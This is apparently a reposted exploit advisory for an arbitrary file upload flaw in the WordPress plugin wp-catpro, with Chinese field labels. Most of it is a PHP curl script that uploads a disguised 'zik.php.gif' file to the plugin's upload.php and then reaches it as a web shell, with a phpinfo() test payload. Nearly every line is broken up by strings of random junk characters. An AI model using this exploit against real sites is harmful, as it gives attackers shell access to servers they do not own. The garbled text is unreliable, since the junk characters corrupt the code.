Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability% }( b) | _% ?0 |+ V1 h' }0 e
#-----------------------------------------------------------------------4 y& c* r' q6 C0 U, d) ?) F
`: j4 J4 z2 K4 Y- }7 x
作者 => Zikou-16$ T/ E+ Y8 R. {3 M. k4 s7 |9 Z, `
邮箱 => zikou16x@gmail.com* Z( p( {7 j" H3 Y# E$ `( C( G
测试系统 : Windows 7 , Backtrack 5r3
+ X0 W8 `* |! d6 g$ Z* _% b下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
6 ~" X! q) `7 v####6 a$ s$ n9 R; i
3 Q- t. e. m: [2 u: J
#=> Exploit 信息:) z, r0 h+ }8 D$ W7 Y
------------------) A) _1 Z: \* y6 |* H
# 攻击者可以上传 file/shell.php.gif$ n; g" {. r% W& |; d! j0 A
# ("jpg", "gif", "png") // Allowed file extensions
" ?+ }% P) l! c8 Z/ i9 h1 h4 ~9 J" U# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)' B: a- E# R/ @0 g7 P( d
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
% f2 _6 Z- o/ q------------------
1 }: {. t* @# e" v- c: w( v
4 w. T0 w2 L2 ~+ X1 S! ^6 M& `#=> Exploit+ s+ J* g& L0 c @2 P
-----------
5 H _! \" n3 O8 |- i7 b<?php
9 Z; H5 b: ~2 A
2 R. A( V' a& U" n8 m, x& ?* J/ \$uploadfile="zik.php.gif";0 g% }0 u A4 E5 S+ o
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php"); G a+ q8 M- N" t ?$ _
curl_setopt($ch, CURLOPT_POST, true);
1 d* B* ^5 z5 {' q4 Y4 g3 Zcurl_setopt($ch, CURLOPT_POSTFIELDS,
' K+ j( k! e8 `5 @array('Filedata'=>"@$uploadfile",
9 d2 u/ C$ K- d5 ?3 I'folder'=>'/wp-content/uploads/catpro/'));
- ?2 t: k" G2 L% \curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);' H( @' a6 U7 D2 z
$postResult = curl_exec($ch);
$ R v& X% B1 I4 z Mcurl_close($ch);+ P2 K3 u4 w4 Z" v
* X3 u# a6 A; |) i
print "$postResult";
8 {$ G4 _( r' q, e
1 h8 c3 Q" n" s, e8 Y: DShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
% Q0 P9 v% H, T$ n, y ?>* n- E% @+ T2 A! b6 m( N# ^( `6 a
<?php
8 o5 Q4 S/ Y; P2 N. ` { q, wphpinfo();
X/ t' T$ a6 m1 I6 r?> |